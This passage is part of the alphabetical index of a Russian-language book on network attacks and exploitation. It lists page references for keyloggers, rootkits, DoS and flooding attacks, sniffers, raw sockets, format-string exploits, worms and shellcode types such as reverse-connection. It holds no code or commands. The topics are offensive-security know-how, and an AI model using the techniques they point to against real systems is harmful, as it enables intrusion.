Регистратор нажатия клавиш 371
Руткит 378
  неядерный 378
  ядерный 378

С

Сетевая атака:
  Bonk 105
  DDoS 107
  DoS 87
  Fraggle 96
  ICMP-flooding 88
  IP-spoofing 87
  Land 103
  Out of Band 104

  Ping of Death 105
  Smurf 89
  SYN-flooding 102
  Teardrop 104
  UDP-storm 88, 96
Сетевой пакет 38
  ARP 46
  Ethernet 43
  ICMP 49
  IP 44
  TCP 47
  UDP 49
  контрольная сумма 56
  структура заголовка 41
Сканер безопасности 136
Сниффер 149
  активный 176
  пассивный 149, 158
Сокет:
  raw-сокет 53
  дейтаграммный 52
  пакетный 54
  потоковый 52
Сокет 52
Стек протоколов 35
  IPX/SPX 36
  TCP/IP 35

Т

Троян 206

Ф

Форматная строка 263
  автоматическое создание 281
  уязвимость 262, 269
  эксплоит 289

Ч

Червь 346
  Ramen 347
  Морриса 346, 347

Ш

Шеллкод 222, 314
  Find 324
  Port-Binding 314
  Reverse Connection 323
  Socket Reusing 325

Э

Эксплоит 221, 247
  локальный 221
  удаленный 221, 304